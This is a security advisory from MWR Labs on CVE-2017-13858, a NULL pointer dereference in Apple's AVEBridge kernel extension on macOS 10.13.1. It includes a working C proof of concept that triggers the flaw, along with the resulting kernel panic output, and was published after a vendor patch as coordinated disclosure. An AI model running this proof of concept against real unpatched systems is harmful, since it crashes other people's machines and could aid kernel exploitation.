MWR LABS

Security Advisory

Apple - com_apple_AVEBridge::submitData NULL Dereference

Software	Apple macOS, Apple iOS
Affected Versions	macOS 10.13.1
CVE Reference	CVE-2017-13858
Author	Alex Plaskett
Severity	Low
Vendor	Apple
Vendor Response	Patch available - https://support.apple.com/en-gb/HT208331

Description:

A NULL pointer dereference issue was identified within the 'com.apple.AVEBridge' IOKit kernel extension driver.

Impact:

On systems without SMAP/SMEP it is expected this could be used to achieve kernel code execution. However, on modern systems with these protections, this issue is limited to a denial of service.

Cause:

The com_apple_AVEBridge::submitData function was found to perform insufficient input validation.

Interim Workaround:

N/A

Solution:

Users should apply the released security update from Apple (https://support.apple.com/en-gb/HT208331).

Technical details

The following proof of concept code will trigger the issue:

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>

#include <IOKit/IOKitLib.h>

int main(int argc, char *argv[])
{

	kern_return_t err;

	io_service_t service =
IOServiceGetMatchingService(kIOMasterPortDefault,IOServiceMatching("com_apple_AVEBridge"));

	if (service == IO_OBJECT_NULL){
		printf("unable to find service\n");
		return 1;
	}

	printf("got service: %x\n", service);

	io_connect_t conn = MACH_PORT_NULL;
	err = IOServiceOpen(service, mach_task_self(), 0, &conn);
	if (err != KERN_SUCCESS){
```

```
		printf("unable to get user client connection\n");
		return 1;
	}

	printf("got userclient connection: %x\n", conn);

	// First make a connection to the userclient with selector 0.

	unsigned int selector = 0;

	uint64_t inputScalar[16];
	uint64_t inputScalarCnt = 0;
	uint64_t outputScalar[16];
	uint32_t outputScalarCnt = 0;
	char outputStruct[4096];
	size_t outputStructCnt = 0;

	char inputStruct[256];
	size_t inputStructCnt = 0;

	err =
IOConnectCallMethod(conn,selector,inputScalar,inputScalarCnt,inputStruct,inputStructCnt,out
putScalar,&outputScalarCnt,outputStruct,&outputStructCnt);
	printf("Open user client: %d\n", err);

	// Now make the vulnerable send_data call
	selector = 2;

	memset(inputStruct,0,24);
	inputStructCnt = 24;
	inputScalarCnt = 0;
	outputScalarCnt = 0;

	err =
IOConnectCallMethod(conn,selector,inputScalar,inputScalarCnt,inputStruct,inputStructCnt,out
putScalar,&outputScalarCnt,outputStruct,&outputStructCnt);
```

```
        printf("Send data: %d\n", err);


        return 0;
}
```

This leads to a NULL pointer dereference occurring within kernel space as follows:

```
   frame #0: 0xffffff7f90df6faa AVEBridge`com_apple_AVEBridge::submitData(unsigned long
long, IOMemoryDescriptor*, unsigned long long, unsigned long long) + 38
AVEBridge`com_apple_AVEBridge::submitData:
->  0xffffff7f90df6faa <+38>: mov    rax, qword ptr [rdi]
    0xffffff7f90df6fad <+41>: mov    rsi, r12
    0xffffff7f90df6fb0 <+44>: call   qword ptr [rax + 0x148]
    0xffffff7f90df6fb6 <+50>: mov    r15, rax
(lldb) register read
General Purpose Registers:
       rax = 0x0000000000000000
       rbx = 0xffffff8022014600
       rcx = 0x0000000000000000
       rdx = 0xffffff8035e4b180
       rdi = 0x0000000000000000
       rsi = 0x0000000000000000
       rbp = 0xffffff81158e3ad0
       rsp = 0xffffff81158e3aa0
        r8 = 0x0000000000000000
        r9 = 0x0000000000000040
       r10 = 0x0000000000000000
       r11 = 0x0000000000000000
       r12 = 0xffffff8035e4b180
       r13 = 0x0000000000000000
       r14 = 0x0000000000000000
       r15 = 0x0000000000000000
       rip = 0xffffff7f90df6faa  AVEBridge`com_apple_AVEBridge::submitData(unsigned long
long, IOMemoryDescriptor*, unsigned long long, unsigned long long) + 38
    rflags = 0x0000000000010246
        cs = 0x0000000000000008
```

```
        fs = 0x0000000000000000
        gs = 0x000000000000000f
```

On recent systems with SMAP/SMEP it likely this is limited to a denial of service, as can be shown as follows, when mapping the NULL page an SMAP fault occurs:

```
panic(cpu 1 caller 0xffffff800218a611): Kernel trap at 0xffffff7f85d85faa, type 14=page
fault, registers:
CR0: 0x0000000080010033, CR2: 0x0000000000000000, CR3: 0x0000000052cf10f2, CR4:
0x00000000003627e0
RAX: 0x0000000000000000, RBX: 0xffffff80193fbc00, RCX: 0x0000000000000000, RDX:
0xffffff801f866c40
RSP: 0xffffff912d4dbaa0, RBP: 0xffffff912d4dbad0, RSI: 0x0000000000000000, RDI:
0x0000000000000000
R8:  0x0000000000000000, R9:  0x0000000000000040, R10: 0x0000000000000000, R11:
0x0000000000000000
R12: 0xffffff801f866c40, R13: 0x0000000000000000, R14: 0x0000000000000000, R15:
0x0000000000000000
RFL: 0x0000000000010246, RIP: 0xffffff7f85d85faa, CS:  0x0000000000000008, SS:
0x0000000000000010
Fault CR2: 0x0000000000000000, Error code: 0x0000000000000001, Fault CPU: 0x1 SMAP fault,
PL: 0, VF: 0


Backtrace (CPU 1), Frame : Return Address
0xffffff912d4db560 : 0xffffff800206d366 mach_kernel : _handle_debugger_trap + 0x516
0xffffff912d4db5a0 : 0xffffff8002198494 mach_kernel : _kdp_i386_trap + 0x114
0xffffff912d4db5e0 : 0xffffff800218a429 mach_kernel : _kernel_trap + 0x5e9
0xffffff912d4db660 : 0xffffff800201f190 mach_kernel : _return_from_trap + 0xe0
0xffffff912d4db680 : 0xffffff800206cd8c mach_kernel : _panic_trap_to_debugger + 0x26c
0xffffff912d4db7b0 : 0xffffff800206cafc mach_kernel : _panic + 0x5c
0xffffff912d4db810 : 0xffffff800218a611 mach_kernel : _kernel_trap + 0x7d1
0xffffff912d4db990 : 0xffffff800201f190 mach_kernel : _return_from_trap + 0xe0
0xffffff912d4db9b0 : 0xffffff7f85d85faa com.apple.AVEBridge :
__ZN19com_apple_AVEBridge10submitDataEyP18IOMemoryDescriptoryy + 0x26
0xffffff912d4dbad0 : 0xffffff7f85d8694e com.apple.AVEBridge :
__ZN29com_apple_AVEBridgeUserClient8sendDataEP17s_inputDataStruct + 0x152
0xffffff912d4dbb20 : 0xffffff80026cbca8 mach_kernel :
__ZN12IOUserClient14externalMethodEjP25IOExternalMethodArgumentsP24IOExternalMethodDispatch
P8OSObjectPv + 0x1d8
```

```
0xffffff912d4dbb70 : 0xffffff80026d4a97 mach_kernel : _is_io_connect_method + 0x217
0xffffff912d4dbcb0 : 0xffffff8002145d84 mach_kernel : _iokit_server_routine + 0x5cd4
0xffffff912d4dbdc0 : 0xffffff80020725ee mach_kernel : _ipc_kobject_server + 0x12e
0xffffff912d4dbe10 : 0xffffff800204fbdd mach_kernel : _ipc_kmsg_send + 0xbd
0xffffff912d4dbe60 : 0xffffff8002062c6b mach_kernel : _mach_msg_overwrite_trap + 0x37b
0xffffff912d4dbef0 : 0xffffff8002174ea1 mach_kernel : _mach_call_munger + 0x1b1
0xffffff912d4dbfa0 : 0xffffff800201f748 mach_kernel : _hndl_mach_scall + 0xd8
```

Therefore this issue has been rated at low risk, as it is expected on modern systems with SMAP/SMEP that it would not be exploitable for code execution. However, older systems without these protects may still be vulnerable.

Detailed Timeline

Date	Summary
2017-09-25	Issue reported to vendor
2017-12-06	Vendor releases fix
2018-01-19	MWR Labs releases advisory